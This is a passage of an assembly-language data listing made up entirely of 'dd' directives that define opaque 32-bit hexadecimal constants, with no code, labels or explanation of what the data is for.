		dd 1B4C2019h, 45BD01D0h, 4D128FE9h, 7DDE60F9h, 7256ECE7h
		dd 0C98C0C1Ch, 0D4126E64h, 8588DCCBh, 0A1F273C0h, 0B106059Ah
		dd 33A0B534h, 0F79C27E8h, 34017D6Ch, 777DAD73h,	0A82017C1h
		dd 0E0429587h, 7DC547Ch, 0F0A89E2Eh, 0CB3600B5h, 34244FF8h
		dd 6882B012h, 0A746E470h, 0C4101B90h, 3EFD3FAEh, 0FB3216F4h
		dd 0C85C3E08h, 631065BAh, 489FB881h, 61E27023h,	0B5DF033h
		dd 18409890h, 0CC0C4DE2h, 98D073ABh, 53F211DCh,	6FFCC324h
		dd 0AA73D964h, 0C901D07Ah, 2A39909h, 0DC5ACE07h, 3C74772Ah
		dd 143F3120h, 1081803Bh, 2C45609Eh, 96281C3Ah, 0BE90DC26h
		dd 0B72B320h, 0D995EB74h, 0B656A4A1h, 9DCF027Eh, 846011E8h
		dd 0A3C5B83Fh, 0CA4FAC20h, 8BB30066h, 49E4C44Dh, 98A8B206h
		dd 203B9FBh, 0B709F3BDh, 27EDA031h, 0F2BE1E12h,	0A80DD2F5h
		dd 0C66225E8h, 56D8B644h, 14CD446h, 0C910AE00h,	0FB634914h
		dd 724EB809h, 60E8ED11h, 0FAA69150h, 0E3BE0714h, 8572EB8h
		dd 80DA1197h, 0C29708C0h, 0C10BDF83h, 0F00F01CDh, 889A95C8h
		dd 2F79ECD1h, 0D4388718h, 40D5A7EBh, 25BF560Ch,	5C536BC2h
		dd 12D63D0h, 9EB0E830h,	84289DE3h, 0BD686B58h, 0D7C81DAFh
		dd 0D8F24Fh, 10E0B6C0h,	0A7C468h, 9D84D71Bh, 1E59A192h
		dd 0D5E5F202h, 62129A5Ch, 2DB4D4FCh, 5961F06Dh,	206B1D24h
		dd 0C142F600h, 15B2A005h, 0C8C11E0Dh, 0C2C69C3h, 0F5831302h
		dd 0D474F0A4h, 8B3F3903h, 98EC8160h, 5C6F9470h,	0AF90FC73h
		dd 0FFF1C845h, 0B0819ACh, 0B46FD951h, 75653F40h, 92F15167h
		dd 249E49F4h, 0BE5C8891h, 286D4A4h, 61A0CEC7h, 0D8300355h
		dd 60B8C4EBh, 80C49BD6h, 0DC2F9E99h, 42A62731h,	7B565060h
		dd 6359A1C1h, 6430B117h, 60B80B37h, 0EC827E82h,	84438FAh
		dd 51C36E12h, 4E3E0C80h, 2DACB48Ch, 85E4F0E5h, 0D1FF760h
		dd 0CEBED500h, 6641B3ABh, 60F325FEh, 689098C6h,	0BFC35C04h
		dd 28F969A3h, 0F408F1B9h, 102739F2h, 112C6004h,	12C87BDCh
		dd 6E2513EFh, 6ED010BCh, 2BC0CBCFh, 0EA396356h,	903827BDh
		dd 6020E072h, 76B71E0h,	50D6ECF5h, 0FD806451h, 8A2A0098h
		dd 8D2B2DF1h, 6CD500CEh, 5A4FBA75h, 110943FDh, 2A9554Ch
		dd 565F4288h, 2F465E90h, 0F61C0A76h, 84ACF9E3h,	0E402AFB0h
		dd 0A35EC3A0h, 0A7484401h, 188061E2h, 9121CFD7h, 0D490FF46h
		dd 4084B00Bh, 7B44D1DEh, 32FE60D4h, 71CE0331h, 0D03DFB0Ch
		dd 0F856C5A2h, 6ED32174h, 92066B80h, 2CE7DFh, 9BEFFE5Ah
		dd 0A3AECDBFh, 49E52FCh, 3FAE465Eh, 282280B3h, 5B19CDDFh
		dd 0FB9B00FFh, 25A4AACAh, 0A14C3F02h, 58CD4A0Ch, 511D2872h
		dd 14DAC02Ch, 0CD2F0365h, 263C471Fh, 741B28F2h,	0F100DC88h
		dd 0A904ED94h, 0B601EB9Ch, 27522478h, 31CB1C64h, 0CAD60B66h
		dd 761CC974h, 0C453E1A5h, 71F4D371h, 1DC300D8h,	3FAC4514h
		dd 58670E56h, 7C13C978h, 0BCB5CCA0h, 0C1F1BC66h, 0BF28C82Fh
		dd 2BB74E1Fh, 3BA9B200h, 3CA8062Eh, 0B98FAAC8h,	46A4B338h
		dd 0C02CB810h, 729F684Ah, 0CB3800A8h, 57FBB86Fh, 0AF904B6Eh
		dd 1C74BBE4h, 20637D25h, 155491A0h, 5329CD6Bh, 63180021h
		dd 48C7CAC0h, 71496AC8h, 0E592BD98h, 5B3482F8h,	6CC80705h
		dd 86040087h, 0A9EF2E11h, 0CD05C8ADh, 485FC075h, 0C06BFC08h
		dd 0F6108656h, 0B02CB25Fh, 87AE09AFh, 94022428h, 0F8EC9058h
		dd 0F31070F2h, 0CE023C5Bh, 4864E1C3h, 7A50405Eh, 68208072h
		dd 6D4AA572h, 7423848Dh, 7430D7A2h, 0B1C0046h, 5A4EFF9Dh
		dd 6013A69Fh, 7CC081E3h, 974741B2h, 22A52018h, 98B1F728h
		dd 3EFB0A18h, 38B850h, 742AD7F4h, 3090E4E3h, 0C304BF73h
		dd 1EE0989Dh, 0A0C8E08Bh, 0D979A2C0h, 0AE9E04CBh, 907A5618h
		dd 1A912834h, 704E7400h, 8E59BE36h, 0BF07F0A0h,	2CDE0C20h
		dd 8707F2F3h, 0BAFEA42Fh, 14160F00h, 0DC03094Ch, 0D8511B50h
		dd 1A0B9FA6h, 21406869h, 0AF5080DAh, 4C9D7C98h,	3CA00C0h
		dd 55176AE9h, 650ED711h, 21579FDh, 0B2536BC5h, 7080DB98h
		dd 56304307h, 54F0716Dh, 1B8B00BDh, 26825781h, 0F200E7BCh
		dd 5A3558DDh, 0B0B2C587h, 9E797EB4h, 60352F34h,	2691D686h
		dd 0EBBF0589h, 80629ED4h, 5F667FC7h, 8B75F93Ah,	923F7978h
		dd 8FA440D4h, 0AC568254h, 0D1B86162h, 15E9022Ch, 0E6C0DBACh
		dd 0A5F4A922h, 0BDF7FA17h, 5225CC42h, 2D250F7Bh, 0FEB70972h
		dd 0F6121050h, 0A09B58AEh, 0F648D580h, 2041B1F3h, 6E625888h
		dd 1239F21Fh, 14BC1441h, 18CADE8h, 76EE3023h, 2CD54DC3h
		dd 0C8B12DC0h, 13522498h, 12781AEDh, 0C87C8BA4h, 4DCAC0D5h
		dd 4209E36Ah, 59869DC7h, 49188380h, 0A194AF82h,	0E4DB2F00h
		dd 0D87EF8Fh, 782C0035h, 6616A42Dh, 0B4A26AAEh,	521840h
		dd 0D79FF2ACh, 4B6BDD97h, 8126AB00h, 67878A98h,	0E566169Eh
		dd 15BCA01Ch, 948BF95Bh, 970063DDh, 92F49E5Bh, 66D7050Fh
		dd 0FC3D798Ah, 1C21C17Ch, 0CC725694h, 0BEA4750Eh, 0C190B12Ah
		dd 3841E36Eh, 90DD4A40h, 7AE27862h, 2DF3330h, 66A56BA1h
		dd 905C63A9h, 75D2B151h, 638A8BDh, 2BB5CBF4h, 0A36B09B0h
		dd 5453529Bh, 0F501F70h, 0C5E7A052h, 687995EBh,	85A06E25h
		dd 637BC484h, 6DA81465h, 0EA84AC21h, 0EB96024Fh, 0F9B8D8A1h
		dd 7868344Dh, 38C82ACh,	3C40159h, 489046B7h, 902EA7C1h
		dd 4F1F5DCFh, 0D88DD74Dh, 0F590302Bh, 763E31CDh, 0E2779356h
		dd 986D44B0h, 721C4558h, 30D5F250h, 41004AF7h, 0D7D3DC18h
		dd 113CF26h, 0A5A27924h, 79B417EAh, 5CAD808Ch, 3A01462Eh
		dd 41807205h, 39256428h, 30253A56h, 0E7686DB8h,	0FA755242h
		dd 6E51A05Ch, 0FE2021h,	74449B2h, 608D7B07h, 4080B309h
		dd 5C4DF9E5h, 0BE174411h, 0FF80839Ch, 206881E0h, 271E9400h
		dd 0BF49EEAAh, 987E4836h, 72BAB282h, 38C42Bh, 0CDFE4CEEh
		dd 70A8FCECh, 88F89D95h, 85606ED7h, 0FAAB401h, 0F9DB66B8h
		dd 0C177D941h, 0E544E4E3h, 0DEBE3500h, 6C3ED4ADh, 40B949CBh
		dd 6AF8C609h, 15E424C5h, 60014161h, 9D1E8BB4h, 79D69FA8h
		dd 3480CC94h, 96751620h, 0D7B81F40h, 1EECB20Eh,	59D2BE30h
		dd 0A4F2ECE3h, 2E94C630h, 47DBA1h, 0DA917339h, 9A137D49h
		dd 98E21F40h, 0DC952F00h, 0BFE8C78Fh, 0BC69AA0Eh, 0B49FC113h
		dd 252E67CBh, 4068F36Ch
		dd 0C6603994h, 0E0A63418h, 17C890FAh, 4301E396h, 0F6EB8214h
		dd 96C7CDC1h, 0EC219028h, 4ADCF2A6h, 0D9462505h, 4944C059h
		dd 0D7C8A88Fh, 2EB7CBC0h, 76C20031h, 670B1938h,	8E17C970h
		dd 2CCB6D02h, 0CC0063DDh, 81147EAh, 1285E29Dh, 2091EE1Bh
		dd 2D92CE90h, 3C0017E8h, 246A68AEh, 58A13A98h, 120974C1h
		dd 5445EEC7h, 4460A4E4h, 0EA002E84h, 0D5A7FEA5h, 121B3CA2h
		dd 88E9CB76h, 9F2C3FA4h, 47A7D883h, 8F516FD4h, 2ED9C0B3h
		dd 3307BDA7h, 938827A1h, 0EEE09160h, 4F6D0F1Bh,	88448E13h
		dd 0C0A1C7A0h, 15734D3Dh, 0B21CB16h, 48B27452h,	0B2B10C00h
		dd 0D3353FBBh, 0CFB38902h, 0E7F473FBh, 6F2E4274h, 0F0DE718h
		dd 3B13C954h, 5CC266A3h, 0A755B5F0h, 558EA13h, 15B2A8B3h
		dd 55A130h, 0CB49DF52h,	0EE5A12A2h, 393ACF00h, 0BC68584Fh
		dd 52B2755h, 21C2F8E5h,	74B0186Fh, 3F2FF509h, 27BC73B5h
		dd 2FE520E5h, 0B01A2820h, 45C327F6h, 56300C82h,	18815742h
		dd 5E5DE7CBh, 5F07DC30h, 8A550967h, 4CED0095h, 9DAAC0B9h
		dd 5317F700h, 0EC399031h, 1E1B0125h, 19C36089h,	0C08E3A2Fh
		dd 0A3C0A1C8h, 0BAB6AD7h, 57399AD0h, 5113F496h,	0C0426AAFh
		dd 5CE3E5C4h, 51B8CEF0h, 721E4D6Dh, 6300CB55h, 0EAA30810h
		dd 25CCBEE3h, 0B23345Ah, 1D611ACh, 70E93F90h, 2888F0C0h
		dd 0F4125FEFh, 255058E4h, 288F42AFh, 305C3F69h,	7646A11Dh
		dd 4E1863EEh, 6628F0C0h, 0B0F34501h, 77512FF4h,	208542E5h
		dd 91E1EBF6h, 50249068h, 2F22A3C4h, 4770A860h, 0B56E97C4h
		dd 48576CA2h, 0BB8EE501h, 259301D8h, 0B8C0DD4Fh, 0C775361Ch
		dd 45C16F00h, 0C6793EF5h, 39E0A8CDh, 0F4084C18h, 0EFCFD7C0h
		dd 68050363h, 9EA7507Dh, 7707AC21h, 0A3B2E98Bh,	0CBF62C10h
		dd 0F8CABD20h, 0F40CA1BFh, 3FA19F1h, 68F3A63Eh,	0F9FBE116h
		dd 9BD6445Ch, 0D13F2006h, 0C04D0391h, 8167DDFDh, 18B6E006h
		dd 7D521AF3h, 0FAA328B1h, 70C90F78h, 9D709F0h, 0B4F0CEF3h
		dd 6F815660h, 165ACDFBh, 6FBAC53Dh, 886D004Ch, 2541DBD3h
		dd 7C0600CEh, 34D5EEBCh, 0B458BD2Ah, 0BC6E5E10h, 2DB92201h
		dd 3D573BA9h, 0A49F0064h, 0EF376C46h, 2E26082Bh, 0AC113E4Dh
		dd 618A4E00h, 3FA2CD94h, 582D0A00h, 0BD6A3493h,	9B470239h
		dd 6E70E4B5h, 0C16B085Eh, 73019180h, 78167F01h,	3AE00CA6h
		dd 30004124h, 99FDCA93h, 4AEB74B4h, 8738C2A5h, 0C9713CD3h
		dd 1C0D29C4h, 800391CFh, 0FF66324Ah, 4C12F1E3h,	0B0E102C2h
		dd 0C874CE3Eh, 0A1E3C07Ah, 0F648247Dh, 0DF02829Ch, 0F9F4044Ch
		dd 98B64B94h, 0FF92DFE0h, 2C90A32Eh, 44C9C802h,	7AF05CFCh
		dd 0DE59E840h, 0EC88164Ch, 5C278CACh, 18648Fh, 181CBE25h
		dd 722670C2h, 956D5404h, 0C48CF727h, 0AEC34405h, 10732622h
		dd 2D5EDE3h, 67F2231Bh,	20C07AA7h, 0F4FA9222h, 551CC295h
		dd 3400D03Dh, 0F8D0DEFEh, 0F1A90069h, 2DA5688Eh, 3D37A0E5h
		dd 898E082Eh, 191C0C2Fh, 2480BF10h, 0CA7989BCh,	0CBEC9206h
		dd 0B7882729h, 0B8E5CC82h, 91449D57h, 0AD91806Bh, 5C808E0h
		dd 98193924h, 65CCC16Bh, 580826F6h, 8EA1B898h, 75774100h
		dd 6CEBDC17h, 0E8CD4DCBh, 10A63402h, 0F8E7D0B9h, 50678364h
		dd 473157E1h, 1EC07900h, 0E0F5C999h, 1F603E72h,	7A6E560Bh
		dd 0C52964DAh, 518B9825h, 76AC5CBFh, 8B096246h,	0A0483079h
		dd 2114FE75h, 883424ECh, 0D37810B8h, 25A094A6h,	0C509DA0Dh
		dd 79E0E5C8h, 51164674h, 29EBF41Ch, 8C777877h, 398BE930h
		dd 207898CFh, 1E018523h, 0A751D7F3h, 8C406066h,	3EBC1FEFh
		dd 0E903EA49h, 0B3277519h, 6B7F92C9h, 84C8348Eh, 9A9C28C3h
		dd 694AE037h, 7D83378Eh, 110EE021h, 0CF391C5Ah,	9E3001Bh
		dd 2CED52D5h, 30781FBFh, 8CB4024Ch, 34F025CBh, 35EC1858h
		dd 706FF91Fh, 58561C00h, 0CFF588AEh, 33349909h,	187957h
		dd 0A88FC170h, 6874D7F4h, 0F125FC96h, 944D2764h, 964FA8C0h
		dd 0EE6E0EE3h, 4E9EAE29h, 0F8006399h, 0BF0FE96Bh, 491AAC00h
		dd 0CBB31C79h, 0F8A09D55h, 0DF9C156Ah, 12A46D00h, 0DC4CFFC7h
		dd 0F4681CD6h, 262CB10Fh, 58982B17h, 63B50420h,	0ADE7BBE2h
		dd 3C8A923Ch, 67C22FC8h, 0B150E0B0h, 9C9080D2h,	0D8F76E4Ah
		dd 0B1D3A6A0h, 0AC246909h, 0A5F473D1h, 0D3592C51h, 160E1A18h
		dd 6250288Bh, 5CFBD4F4h, 0A0504BE0h, 0E09DD84Bh, 0C7019441h
		dd 0E2BE1989h, 6427E4FEh, 615B0FB4h, 5F696402h,	945C740Bh
		dd 0ECA24113h, 18F2A900h, 865AE310h, 8A4BFB00h,	0CB01580Dh
		dd 98F34C77h, 5C306E89h, 0D25F3C7Fh, 0A9A3CC80h, 22903072h
		dd 2965C9F1h, 0A85FE31Eh, 9396058Eh, 0A2BEC483h, 64A05776h
		dd 6B4F7069h, 5500BFF8h, 9FCECBB2h, 0B0C5106Eh,	8ACF1DCCh
		dd 840789E7h, 65EB105Ch, 6063E438h, 0F3B3B0CFh,	1C4E7C22h
		dd 0F79D0A44h, 0F83BF6h, 72EDD402h, 79B5E75Fh, 0C02F1D4Bh
		dd 0C06ED310h, 6109D9EFh, 428FF5Dh, 0D0DD2080h,	39007FA6h
		dd 2130A290h, 2E655E94h, 85605FC4h, 0F8F3F215h,	0E8B2D630h
		dd 230ACB2h, 20390209h,	0F6563F36h, 0E7CF0CE8h,	75463517h
		dd 88100056h, 135D001Ch, 0CEE6044Dh, 0FA260037h, 78F89076h
		dd 6F03A280h, 0B72E41FEh, 7DC0B2CBh, 7B116C1Fh,	0C4025889h
		dd 3001C429h, 226FA676h, 88707908h, 97983801h, 0CEF71F50h
		dd 0A5BCCC3Bh, 0A1771A10h, 0F0399000h, 1B192686h, 35CB6E04h
		dd 0B4B816D0h, 7320D1E4h, 0FAA30068h, 4866619Bh, 7977C79Fh
		dd 24B04B64h, 0E671D21Dh, 6DEAE074h, 8C67002Fh,	21E2459h
		dd 72D7C11h, 67C8CF76h,	21C300F2h, 44BCAB1Fh, 1E4B0CC0h
		dd 0CE540043h, 7767900Eh, 0A5777FE3h, 48AE6407h, 321F7E24h
		dd 0BAB218B8h, 0BECE2516h, 6F250870h, 90ECC592h, 68AFB1CBh
		dd 0C86129A5h, 10184146h, 6249A597h, 61EC56FCh,	2DFB3E7Eh
		dd 0E6B8B8h, 97072552h,	0CC390BDh, 0F3A96125h, 6B3C8DD0h
		dd 9CDB2B59h, 51AA8480h, 350FC58Eh, 0A08C651Fh,	70CC0750h
		dd 0E09497B9h, 3E61A161h, 3C9276h, 0D644CC4Ah, 0C089EA4Bh
		dd 4C6F2Ah, 20EACAB8h, 4B5749EDh, 2A489D87h, 7B806C9Ah
		dd 0A63F81EAh, 891EFA38h, 5C289C97h, 3876CB1Ch,	61C816D4h
		dd 686C0062h, 4CE745A5h, 11209D9Fh, 0FD4D807Ah,	4B04CF90h
		dd 6F8CCD4Fh, 784C820h,	4849005Dh, 2281B0EEh, 0BC4BF986h
		dd 0BC11F88Ch, 1D17D600h, 8D003F61h, 9ED6E655h,	22A31310h
		dd 988B9ABh, 5C8D363Dh,	3979E258h, 0BB123CD4h, 8D258B8h
		dd 61823E34h, 0C08FE5C9h, 5BFCF0D4h, 0B2B8E338h, 0CE7930AFh
		dd 0B9105909h, 0A8C07145h, 74E10490h, 0E83C86FDh, 30EABD70h
		dd 9A73F4D3h, 0E48C5700h, 5EBFA384h, 241E0E69h,	0E7B2F6BAh
		dd 549A5FB8h, 13E0AC81h, 0D50FE503h, 58106ADAh,	16C0228Ch
		dd 0A2025756h, 12244C90h, 0B4295A4Eh, 79CAD9F3h, 7238777Eh
		dd 0DCD01256h, 1648BF49h, 0BC6AC367h, 0EB01AF23h, 60C6A751h
		dd 0C2113841h, 4E576600h, 0CBEC89C1h, 0A004C645h, 0B84399E0h
		dd 0FE3061E2h, 0B8524D1h, 1EEE0720h, 48658620h,	0F796F44h
		dd 0DC930173h, 0F251CAC0h, 9C007646h, 0A0961DC9h, 9DA6B306h
		dd 0B856D8CAh, 82ECB840h, 1C934C0Bh, 0E8529B14h, 138CADE8h
		dd 0A66ACBB0h, 90B228C4h, 1ECA3D20h, 692A5630h,	6442C2E0h
		dd 806A6D11h, 0A1751DD8h, 8A544Bh, 0A56E4079h, 5D9B2216h
		dd 41D2D0B4h, 6D900171h
		dd 7C883EA6h, 828F00FCh, 0E8FEFAA9h, 0F07CEEAh,	3EA1B6D2h
		dd 0F119831Eh, 0E8D0F44Ch, 4FF328E8h, 0E8585AF9h, 0DE0C54h
		dd 1015C554h, 0AC685B6Ch, 838CEE07h, 893002B1h,	0C205CB94h
		dd 57FA3EF1h, 0B9891456h, 0D8F68622h, 347A0078h, 0B236103Dh
		dd 6C13B72Bh, 84A02DCBh, 0EAA70962h, 4FE57F3h, 6B4676h
		dd 33F9C134h, 0E16077h,	3EEE358Ch, 78C9FF97h, 9D9EC409h
		dd 69B88168h, 0F5F066FEh, 27AD77ABh, 381D1E9Ch,	0C1867B11h
		dd 0C0C2B066h, 7D4426DFh, 828708B7h, 43302B78h,	5545A86h
		dd 4D174424h, 4C09AB73h, 60D9FFh, 52C54959h, 0E9128C21h
		dd 180177AEh, 0FF69D1F7h, 81A4DB3Fh, 0F497F687h, 8804C431h
		dd 7C6EEFh, 57ACE84Ch, 80702E77h, 61E129EFh, 0FE8830F4h
		dd 70829F5Ah, 0D8F8F98Ah, 1866F2Eh, 0FB8051B7h,	73F30835h
		dd 30D2E224h, 1C054ABAh, 2977653Fh, 0E680FCF8h,	4D7D428Ch
		dd 2F67C616h, 0AABCACBCh, 537D038Ch, 0B4079574h, 0E78C1900h
		dd 0EBBBA15Bh, 364A01EFh, 0B3ACD308h, 20B449BEh, 6595E090h
		dd 21E21AACh, 2DDC1874h, 6480D597h, 3A1E29F4h, 0CDF030E9h
		dd 4B1B2B80h, 7CA4C857h, 9A0E040Fh, 0AC856034h,	9CCE1563h
		dd 4F700B90h, 0D7F4A401h, 541E2E6Fh, 0E302A3C4h, 55275CA8h
		dd 0E49C04CEh, 7FE03ED4h, 2A50F83h, 58415663h, 30382BA4h
		dd 5D1A42DFh, 274BA850h, 24447094h, 0ECE05800h,	0F44EFE40h
		dd 5E80B451h, 0E9006146h, 0BD100F5Fh, 9ABF3D79h, 825DD6Ch
		dd 4430ABA9h, 143F9A18h, 9C7D6E56h, 0B4AEFF14h,	196C200Eh
		dd 68B72DBEh, 0B1D09E02h, 0C9085C1Dh, 0C552BC54h, 61A3C424h
		dd 0B6D8A148h, 2280B052h, 46B5795Ah, 0DB7AEB48h, 55480DCh
		dd 254F8335h, 50EF786Eh, 0C821F141h, 9FD85E70h,	0BE75DC18h
		dd 8AF3B16h, 0A305D80Bh, 3AB69080h, 0E50B4821h,	4509A25h
		dd 12DF9E09h, 919C5609h, 0CF505082h, 0F0F3B141h, 4AF396E0h
		dd 0C13CC2E1h, 1160147Eh, 0BDEBDD65h, 0BD4070C0h, 57FB4614h
		dd 759C01B0h, 0BE1CE187h, 0E99430h, 811AA9F8h, 162DE74Dh
		dd 0C5886F63h, 0ABCDC036h, 0A510C494h, 1278B83Eh, 0A4B25233h
		dd 0CCAC0200h, 72FD5A12h, 6D4440F9h, 6717F5C9h,	3804C0B5h
		dd 0A3016E62h, 80521BF2h, 0A5A7FEC8h, 0F8BB3EECh, 51D72DFAh
		dd 38401C5Ah, 0E4A495EEh, 108450D4h, 71255D3h, 9014466Fh
		dd 96037923h, 0FB9CB377h, 8474D1D7h, 0A5818F40h, 0A0BF52F2h
		dd 983C3014h, 0C735F482h, 0CD91D056h, 8CF24Eh, 6048D2B8h
		dd 362371h, 3E285906h, 5D5E0724h, 0D3EC7C0Bh, 945679h
		dd 884CBB85h, 0B6519401h, 417C00A8h, 0C225792Eh, 20DC6C92h
		dd 4DB54340h, 27544A18h, 22CE94CDh, 56C1BA12h, 10DF40B8h
		dd 7B00CD27h, 3F14CBFAh, 0F095607Ah, 0EF280C72h, 83301F43h
		dd 0FFF442B5h, 2439803Dh, 460878ABh, 0DB730585h, 55ECB466h
		dd 9BE9A4ABh, 0A2307363h, 0D2893060h, 1CC8694Ah, 0FD303F4h
		dd 0F6D1DF50h, 4379B288h, 0A767B43Bh, 0D8607BB8h, 0D04F06Ah
		dd 0D2D1EBF4h, 7C92C109h, 74B7FFh, 5A954A5Bh, 2E28A630h
		dd 1E95B45Eh, 0A06DBDB0h, 0D1CC03C2h, 0BC100194h, 0C5811131h
		dd 0B7C7E45Bh, 692373Eh, 0BE069FB6h, 97450029h,	0A9D328BAh
		dd 0D425FA83h, 5A707848h, 1210B215h, 0AC613279h, 162B3F28h
		dd 804CA9C4h, 257248B0h, 0B6DB010Ah, 235E55Ah, 5C3B7E7Bh
		dd 443213Dh, 85F795FEh,	76ACB8ACh, 0D0A4EB4Ah, 1949121Dh
		dd 23A43A6Eh, 306C03AFh, 0E0B6BA76h, 625722h, 0E71CE0A1h
		dd 0AE788472h, 65639D00h, 0A5AD06Bh, 40160173h,	0CC7FD6A0h
		dd 251C7C77h, 11FC6569h, 81E412ACh, 6B4F0CF3h, 7F640114h
		dd 0B05835FBh, 6A83708Ch, 0B4022521h, 9C5149Dh,	477CDC99h
		dd 0D08E004Eh, 0F907240Fh, 0A7A2E8AEh, 0CF1FEB97h, 0D69B4041h
		dd 4A36F480h, 6B60CD63h, 7D670C04h, 5A44AC12h, 6C8820A2h
		dd 467424A4h, 0B3590084h, 4AB7D7D8h, 95997733h,	3946D098h
		dd 0E8EAE92Ah, 12245D16h, 0DB184482h, 0B4C870ACh, 45B7A012h
		dd 28B1F805h, 0FE104EFFh, 0F4A14AB0h, 0E04CB62Ah, 0A473DEh
		dd 6430F922h, 0B65631AFh, 0C4600595h, 44013ABh,	0AD63B5A8h
		dd 7E6010E4h, 0C85CCA93h, 0C314C07Ah, 90EAC5E7h, 654AF0B2h
		dd 167D20A3h, 0ADB3F301h, 0DCE6D764h, 96B7AEE0h, 0D771C310h
		dd 0FC416B0Bh, 467C50D4h, 92451D84h, 0B8DE4641h, 3830C911h
		dd 0BF38E637h, 500150B7h, 6BD554D6h, 3CE0E330h,	10801839h
		dd 9DA13FC0h, 0AD38BD68h, 79C48F69h, 0F7C9E348h, 9FCFE856h
		dd 0E48C9519h, 5A093FD0h, 9865D2FAh, 0F58CBB4h,	67F93DBFh
		dd 779A8221h, 8F61C2AEh, 0C4307F78h, 4FEB948Fh,	0FE84D4F9h
		dd 4569020h, 450D6B9h, 472C22Ch, 4ADEAA5h, 0E04CA64Bh
		dd 79E78DC4h, 9A690B86h, 285666A5h, 60086F25h, 8BD4252Bh
		dd 0F09C6F00h, 41E981C9h, 491A09B9h, 0DC5B4B28h, 25945125h
		dd 0A4911017h, 42062D80h, 343DB414h, 894CB94Dh,	0F81322A5h
		dd 3AE74E8Ch, 0D023DCh,	12A969B0h, 0C01268F0h, 7C903879h
		dd 0E97701CBh, 8378DC2Bh, 0C0C06BB5h, 125A046Eh, 0E1FF8C60h
		dd 0A234330Ch, 0B6DC30A3h, 78F1EF02h, 0E96E57BEh, 0F838BF0Ch
		dd 28657B80h, 1301CCD6h, 0D3F9219Fh, 2E444Ch, 763FA01Ch
		dd 38C162CEh, 29CD09C0h, 84C48F2Bh, 6E376ED2h, 0B5802A4Bh
		dd 0C2796894h, 8DD79500h, 7A16036h, 4699C0B1h, 30C69289h
		dd 93B4B900h, 529BBA36h, 0B7AA1537h, 41BC8848h,	5EAA4804h
		dd 908C3477h, 81E32496h, 62B929Ch, 39BCFBE4h, 9712F498h
		dd 0B48828BEh, 809E2686h, 279C008Bh, 1A1D6B8Eh,	14B77400h
		dd 981605Bh, 0C8F50E22h, 7324F7FFh, 0D2C8BC55h,	86F2A0F2h
		dd 1EB6430h, 503B727Dh,	24BFC5E5h, 282C1BFCh, 0B96D60F3h
		dd 0DE6C886Fh, 7D343901h, 0F23FBCD6h, 32948A2Ah, 0FF57698Ah
		dd 0AD2EC8A0h, 65004E22h, 3BB8D4D0h, 9E8CEBh, 3CBBCDCFh
		dd 7237BA61h, 0DB91A917h, 41F71488h, 943B2A53h,	0A828E9A5h
		dd 7F052F1Ah, 1070D4F3h, 7D790BC2h, 0D48ECBFEh,	1278B8B5h
		dd 0AC63459Bh, 2124A274h, 0EAD0751Dh, 0A451B05Ch, 5882C1B8h
		dd 0D44C9B49h, 7369E854h, 578873BCh, 1F00FC02h,	0C334EBCFh
		dd 16E00C1Dh, 0A941A54Ah, 0D87BADC0h, 46001B98h, 80E1E43Bh
		dd 253C7F53h, 0F84E8F92h, 0A25E70Ch, 0F0F11878h, 3BBB2D7Fh
		dd 0B67834DBh, 59C201B0h, 561786E0h, 3968D429h,	2973F030h
		dd 1ED3FFC9h, 32AA87Eh,	27903718h, 0A46AD900h, 6EF39B41h
		dd 55D400B3h, 63DF99DDh, 0F54BCBF6h, 7F624082h,	9402681Ah
		dd 39068E52h, 4E3F1550h, 0A74AE084h, 0F4B64F40h, 0E280F8A2h
		dd 0A577FFC3h, 0A20F0216h, 0AE31DC80h, 2530941Ah, 0B2278446h
		dd 104CD9BAh, 65CE82F2h, 54AD42E2h, 38746974h, 0F52100DCh
		dd 84341B8h, 70286D64h,	1D5C6CFFh, 50552D14h, 18E597ECh
		dd 0F06063E4h, 6B25305Eh, 70D8FB8Fh, 7D059DA8h,	0B5FBF618h
		dd 4493ACA0h, 0CDA07B2Dh, 8800CAD9h, 79CD8430h,	0FABE3C5h
		dd 58090B08h, 1B6039E2h, 17EBD056h, 81AA1140h, 0A2C3CEE7h
		dd 5A34DD6Ah, 127CC0A8h, 90424364h, 0CF90072Ah,	32E5EA25h
		dd 465586FEh, 801620ACh, 0C29D54ACh, 243A7D8Ch,	1550107Bh
		dd 0F9124F2h, 70830FACh, 0D8AA0090h, 0C3AFC4BEh, 5E30F4Dh
		dd 96E14550h, 2BAE03FCh, 10095435h, 29C0161h, 6F3FC695h
		dd 0F86D1254h, 4D8E10E2h
		dd 80903B90h, 3EF7B980h, 0BF5BF97h, 1703490Bh, 9CD37CABh
		dd 7DFE4E70h, 0D3370BD4h, 70565BEEh, 805835EBh,	1B8141BFh
		dd 98023908h, 0F3D7A7A8h, 25F85667h, 6F45C7Ch, 56AB110Fh
		dd 1D7BC167h, 17F63201h, 0E5D107E1h, 3E1869E1h,	4A55764Ch
		dd 0A51620CAh, 0A2B4A847h, 0BFB0204Ah, 41825AE2h, 39A7C194h
		dd 2993C0F9h, 0FBA010E7h, 2012CCDAh, 28E24C3Eh,	5B2590C0h
		dd 4D958309h, 44D3C0B4h, 4700FC2Ah, 0DB72A207h,	4E3FEBDCh
		dd 0C5289A1Eh, 20AA35C9h, 0C279CFA4h, 3C04FB58h, 4E184081h
		dd 34CA2A8h, 9BBEBAF0h,	752AE85Ah, 77B10B96h, 48582745h
		dd 2211CB08h, 0CDB88217h, 0F0D869DAh, 60204D97h, 53B22E84h
		dd 0A7542002h, 550987EAh, 4D40584Fh, 0F8F8C737h, 68811CE4h
		dd 27AE6EC9h, 0B7BD7CF8h, 6C6A00C8h, 2735EBF4h,	36BC7CA0h
		dd 0EF186F00h, 0E548962Ch, 0EDD0A29Fh, 0FDCEB4h, 8FF33221h
		dd 50099FFFh, 0D6A491AEh, 0EE5D128Ch, 3A00287Ah, 0E184F87Eh
		dd 4900EC68h, 0F2D61291h, 4C03FBF1h, 408180A4h,	90A3E909h
		dd 5C625670h, 0A3779C57h, 0A233F378h, 40B7DD6Fh, 759EC381h
		dd 0E013503h, 0EBF6005Bh, 0F2E4F41h, 620B4E20h,	467E8854h
		dd 0BDA505A3h, 0D88092F7h, 0CB4F3EA6h, 5002FF50h, 46556770h
		dd 0B3720710h, 63CCF7A5h, 93D71D6Bh, 3BE0258Bh,	0DF00D789h
		dd 3D76EEC7h, 0BAAF5322h, 10469574h, 0C9703Ch, 0E22C50BBh
		dd 2507A8CCh, 0C8653937h, 250BA1B9h, 3BD4947Eh,	21874532h
		dd 0A292C84Ah, 6055D4BAh, 16D0BE30h, 80A1FB6Dh,	0CA7746F4h
